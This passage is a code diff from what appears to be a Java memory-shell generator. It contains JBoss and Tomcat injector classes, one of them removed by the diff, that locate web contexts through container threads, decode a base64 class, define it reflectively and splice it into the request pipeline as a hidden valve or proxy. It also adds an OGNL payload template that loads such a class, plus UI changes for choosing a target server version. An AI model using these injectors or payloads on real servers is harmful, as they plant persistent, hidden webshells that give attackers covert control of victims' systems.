||||||
*/
|
|
||||||
public class JbossProxyValveInjector implements InvocationHandler {
|
|
||||||
|
|
||||||
private Object rawValve;
|
|
||||||
private Object proxyValve;
|
|
||||||
|
|
||||||
static {
|
|
||||||
new JbossProxyValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JbossProxyValveInjector() {
|
|
||||||
try {
|
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object valve = getShell(context);
|
|
||||||
inject(context, valve);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public JbossProxyValveInjector(Object rawValve, Object proxyValve) {
|
|
||||||
this.rawValve = rawValve;
|
|
||||||
this.proxyValve = proxyValve;
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
|
||||||
return "{{className}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getBase64String() {
|
|
||||||
return "{{base64Str}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
|
||||||
if ("invoke".equals(method.getName())) {
|
|
||||||
try {
|
|
||||||
Object request = args[0];
|
|
||||||
Object response = args[1];
|
|
||||||
if (proxyValve.equals(new Object[]{request, response})) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
return method.invoke(rawValve, args);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return method.invoke(rawValve, args);
|
|
||||||
}
|
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
|
||||||
try {
|
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
|
||||||
} catch (Exception e) {
|
|
||||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
|
||||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private Object getShell(Object context) throws Exception {
|
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
try {
|
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void inject(Object context, Object valve) throws Exception {
|
|
||||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
|
||||||
Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
|
|
||||||
Object rawValve = null;
|
|
||||||
String fieldName = "first";
|
|
||||||
try {
|
|
||||||
rawValve = getFieldValue(pipeline, fieldName);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
fieldName = "basic";
|
|
||||||
rawValve = getFieldValue(pipeline, fieldName);
|
|
||||||
}
|
|
||||||
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new JbossProxyValveInjector(rawValve, valve));
|
|
||||||
setFieldValue(pipeline, fieldName, proxyValve);
|
|
||||||
System.out.println("proxyValve inject successful");
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} finally {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Field getField(Object obj, String name) throws NoSuchFieldException {
|
|
||||||
for (Class<?> clazz = obj.getClass();
|
|
||||||
clazz != Object.class;
|
|
||||||
clazz = clazz.getSuperclass()) {
|
|
||||||
try {
|
|
||||||
Field field = clazz.getDeclaredField(name);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field;
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
|
|
||||||
Field field = getField(obj, name);
|
|
||||||
field.set(obj, value);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
|
||||||
Field field = getField(obj, name);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
|
||||||
Method method = null;
|
|
||||||
while (clazz != null && method == null) {
|
|
||||||
try {
|
|
||||||
if (paramClazz == null) {
|
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
|
||||||
} else {
|
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-177
@@ -1,177 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.jboss;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
import java.util.*;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
|
||||||
public class JbossValveInjector {
|
|
||||||
|
|
||||||
static {
|
|
||||||
new JbossValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JbossValveInjector() {
|
|
||||||
try {
|
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object valve = getShell(context);
|
|
||||||
inject(context, valve);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
|
||||||
return "{{className}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getBase64String() {
|
|
||||||
return "{{base64Str}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
Collection<?> values = childrenMap.values();
|
|
||||||
for (Object value : values) {
|
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
|
||||||
try {
|
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
|
||||||
} catch (Exception e) {
|
|
||||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
|
||||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private Object getShell(Object context) throws Exception {
|
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
try {
|
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void inject(Object context, Object valve) throws Exception {
|
|
||||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
|
||||||
if (isInjected(pipeline)) {
|
|
||||||
System.out.println("valve already injected");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
|
||||||
System.out.println("valve injected successfully");
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public boolean isInjected(Object pipeline) throws Exception {
|
|
||||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
|
||||||
List<Object> valvesList = Arrays.asList(valves);
|
|
||||||
for (Object valve : valvesList) {
|
|
||||||
if (valve.getClass().getName().contains(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} finally {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
Field field = clazz.getDeclaredField(name);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException();
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
|
||||||
Method method = null;
|
|
||||||
while (clazz != null && method == null) {
|
|
||||||
try {
|
|
||||||
if (paramClazz == null) {
|
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
|
||||||
} else {
|
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+10
-1
@@ -86,9 +86,18 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
return classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.packer.ognl;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/7/7
|
||||||
|
*/
|
||||||
|
public class OGNLSpringUtilsPacker implements Packer {
|
||||||
|
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
return template.replace("{{className}}", config.getClassName())
|
||||||
|
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||||
|
}
|
||||||
|
}
|
||||||
Binary file not shown.
@@ -22,6 +22,7 @@ import {
|
|||||||
FormFieldLabel,
|
FormFieldLabel,
|
||||||
FormItem,
|
FormItem,
|
||||||
FormLabel,
|
FormLabel,
|
||||||
|
FormMessage,
|
||||||
} from "@/components/ui/form.tsx";
|
} from "@/components/ui/form.tsx";
|
||||||
import { Label } from "@/components/ui/label.tsx";
|
import { Label } from "@/components/ui/label.tsx";
|
||||||
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx";
|
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx";
|
||||||
@@ -47,6 +48,13 @@ const shellToolIcons: Record<ShellToolType, JSX.Element> = {
|
|||||||
[ShellToolType.Custom]: <ZapIcon className="h-4 w-4" />,
|
[ShellToolType.Custom]: <ZapIcon className="h-4 w-4" />,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const defaultServerVersionOptions = [
|
||||||
|
{
|
||||||
|
name: "Unknown",
|
||||||
|
value: "unknown",
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
export default function MainConfigCard({
|
export default function MainConfigCard({
|
||||||
mainConfig,
|
mainConfig,
|
||||||
form,
|
form,
|
||||||
@@ -72,6 +80,8 @@ export default function MainConfigCard({
|
|||||||
const shellTool = form.watch("shellTool");
|
const shellTool = form.watch("shellTool");
|
||||||
const { t } = useTranslation();
|
const { t } = useTranslation();
|
||||||
|
|
||||||
|
const [serverVersionOptions, setServerVersionOptions] = useState(defaultServerVersionOptions);
|
||||||
|
|
||||||
// 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题
|
// 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (shellTypes.length > 0) {
|
if (shellTypes.length > 0) {
|
||||||
@@ -110,6 +120,29 @@ export default function MainConfigCard({
|
|||||||
} else {
|
} else {
|
||||||
form.resetField("targetJdkVersion");
|
form.resetField("targetJdkVersion");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 特殊的服务需要指定版本
|
||||||
|
if (value === "TongWeb") {
|
||||||
|
setServerVersionOptions([
|
||||||
|
...defaultServerVersionOptions,
|
||||||
|
{
|
||||||
|
name: "6",
|
||||||
|
value: "6",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "7",
|
||||||
|
value: "7",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "8",
|
||||||
|
value: "8",
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
} else {
|
||||||
|
setServerVersionOptions(defaultServerVersionOptions);
|
||||||
|
}
|
||||||
|
|
||||||
|
form.resetField("serverVersion");
|
||||||
form.resetField("bypassJavaModule");
|
form.resetField("bypassJavaModule");
|
||||||
form.resetField("urlPattern");
|
form.resetField("urlPattern");
|
||||||
}
|
}
|
||||||
@@ -257,6 +290,32 @@ export default function MainConfigCard({
|
|||||||
</FormFieldItem>
|
</FormFieldItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="serverVersion"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormFieldItem>
|
||||||
|
<FormFieldLabel>{t("mainConfig.serverVersion")}</FormFieldLabel>
|
||||||
|
<Select onValueChange={field.onChange} value={field.value}>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger>
|
||||||
|
<SelectValue placeholder={t("placeholders.select")} />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{serverVersionOptions.map((v) => (
|
||||||
|
<SelectItem key={v.value} value={v.value}>
|
||||||
|
{v.name}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<FormMessage />
|
||||||
|
</FormFieldItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="grid grid-cols-1">
|
||||||
<FormField
|
<FormField
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="targetJdkVersion"
|
name="targetJdkVersion"
|
||||||
|
|||||||
@@ -22,6 +22,7 @@
|
|||||||
"mainConfig.injectorClassName": "Injector ClassName",
|
"mainConfig.injectorClassName": "Injector ClassName",
|
||||||
"mainConfig.jre": "Target JRE Version",
|
"mainConfig.jre": "Target JRE Version",
|
||||||
"mainConfig.server": "Target Server",
|
"mainConfig.server": "Target Server",
|
||||||
|
"mainConfig.serverVersion": "Target Server Version",
|
||||||
"mainConfig.shellClassName": "Shell ClassName",
|
"mainConfig.shellClassName": "Shell ClassName",
|
||||||
"mainConfig.shellMountType": "Shell Mount Type",
|
"mainConfig.shellMountType": "Shell Mount Type",
|
||||||
"mainConfig.shellTool": "Shell Tool",
|
"mainConfig.shellTool": "Shell Tool",
|
||||||
@@ -112,6 +113,7 @@
|
|||||||
"tips.try-to-use-shell": "Try to use the memory shell",
|
"tips.try-to-use-shell": "Try to use the memory shell",
|
||||||
"tips.waitingForGeneration": "// Waiting for generation...",
|
"tips.waitingForGeneration": "// Waiting for generation...",
|
||||||
"tips.customShellClass": "Custom shell class is required, base64 or classfile",
|
"tips.customShellClass": "Custom shell class is required, base64 or classfile",
|
||||||
|
"tips.serverVersion": "serverVersion is required for TongWeb Valve",
|
||||||
"version.updateAvailable": "Update Available",
|
"version.updateAvailable": "Update Available",
|
||||||
"version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})",
|
"version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})",
|
||||||
"generator": "Generator",
|
"generator": "Generator",
|
||||||
|
|||||||
@@ -22,6 +22,7 @@
|
|||||||
"mainConfig.injectorClassName": "注入器类名",
|
"mainConfig.injectorClassName": "注入器类名",
|
||||||
"mainConfig.jre": "目标 JRE 版本",
|
"mainConfig.jre": "目标 JRE 版本",
|
||||||
"mainConfig.server": "目标服务",
|
"mainConfig.server": "目标服务",
|
||||||
|
"mainConfig.serverVersion": "目标服务版本",
|
||||||
"mainConfig.shellClassName": "内存马类名",
|
"mainConfig.shellClassName": "内存马类名",
|
||||||
"mainConfig.shellMountType": "内存马挂载类型",
|
"mainConfig.shellMountType": "内存马挂载类型",
|
||||||
"mainConfig.shellTool": "内存马功能",
|
"mainConfig.shellTool": "内存马功能",
|
||||||
@@ -111,6 +112,7 @@
|
|||||||
"tips.waitingForGeneration": "// 等待填写参数生成中...",
|
"tips.waitingForGeneration": "// 等待填写参数生成中...",
|
||||||
"tips.customShellClass": "请输入自定义内存马类,base64 或类文件",
|
"tips.customShellClass": "请输入自定义内存马类,base64 或类文件",
|
||||||
"tips.specificUrlPattern": "必须指定 URL Pattern,例如 /hello",
|
"tips.specificUrlPattern": "必须指定 URL Pattern,例如 /hello",
|
||||||
|
"tips.serverVersion": "TongWeb Valve 需要指定 serverVersion",
|
||||||
"version.updateAvailable": "有可用升级",
|
"version.updateAvailable": "有可用升级",
|
||||||
"version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})",
|
"version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})",
|
||||||
"about": "关于",
|
"about": "关于",
|
||||||
|
|||||||
@@ -55,6 +55,7 @@ export default function MemShellPage() {
|
|||||||
resolver: useYupValidationResolver(formSchema, t),
|
resolver: useYupValidationResolver(formSchema, t),
|
||||||
defaultValues: {
|
defaultValues: {
|
||||||
server: urlParams.server ?? "Tomcat",
|
server: urlParams.server ?? "Tomcat",
|
||||||
|
serverVersion: urlParams.serverVersion ?? "unknown",
|
||||||
targetJdkVersion: urlParams.targetJdkVersion ?? "50",
|
targetJdkVersion: urlParams.targetJdkVersion ?? "50",
|
||||||
debug: urlParams.debug ?? false,
|
debug: urlParams.debug ?? false,
|
||||||
bypassJavaModule: urlParams.bypassJavaModule ?? false,
|
bypassJavaModule: urlParams.bypassJavaModule ?? false,
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import { ShellToolType } from "./shell";
|
|||||||
|
|
||||||
export const formSchema = yup.object({
|
export const formSchema = yup.object({
|
||||||
server: yup.string().required().min(1),
|
server: yup.string().required().min(1),
|
||||||
|
serverVersion: yup.string().required().min(1),
|
||||||
targetJdkVersion: yup.string().optional(),
|
targetJdkVersion: yup.string().optional(),
|
||||||
debug: yup.boolean().optional(),
|
debug: yup.boolean().optional(),
|
||||||
bypassJavaModule: yup.boolean().optional(),
|
bypassJavaModule: yup.boolean().optional(),
|
||||||
@@ -59,6 +60,7 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema<any>
|
|||||||
|
|
||||||
const urlPattern: keyof FormSchema = "urlPattern";
|
const urlPattern: keyof FormSchema = "urlPattern";
|
||||||
const shellClassBase64: keyof FormSchema = "shellClassBase64";
|
const shellClassBase64: keyof FormSchema = "shellClassBase64";
|
||||||
|
const serverVersion: keyof FormSchema = "serverVersion";
|
||||||
const errors = {} as any;
|
const errors = {} as any;
|
||||||
|
|
||||||
if (urlPatternIsNeeded(values?.shellType) && isInvalidUrl(values?.urlPattern)) {
|
if (urlPatternIsNeeded(values?.shellType) && isInvalidUrl(values?.urlPattern)) {
|
||||||
@@ -73,6 +75,12 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema<any>
|
|||||||
message: t("tips.customShellClass"),
|
message: t("tips.customShellClass"),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
if (values.server === "TongWeb" && values.shellType === "Valve" && values.serverVersion === "unknown") {
|
||||||
|
errors[serverVersion] = {
|
||||||
|
type: "custom",
|
||||||
|
message: t("tips.serverVersion"),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
return {
|
return {
|
||||||
values,
|
values,
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
export interface ShellConfig {
|
export interface ShellConfig {
|
||||||
server: string;
|
server: string;
|
||||||
|
serverVersion: string;
|
||||||
shellTool: string;
|
shellTool: string;
|
||||||
shellType: string;
|
shellType: string;
|
||||||
targetJreVersion?: string;
|
targetJreVersion?: string;
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts";
|
|||||||
export function transformToPostData(formValue: FormSchema) {
|
export function transformToPostData(formValue: FormSchema) {
|
||||||
const shellConfig: ShellConfig = {
|
const shellConfig: ShellConfig = {
|
||||||
server: formValue.server,
|
server: formValue.server,
|
||||||
|
serverVersion: formValue.serverVersion,
|
||||||
shellTool: formValue.shellTool,
|
shellTool: formValue.shellTool,
|
||||||
shellType: formValue.shellType,
|
shellType: formValue.shellType,
|
||||||
debug: formValue.debug,
|
debug: formValue.debug,
|
||||||
|
|||||||
Reference in New Issue
Block a user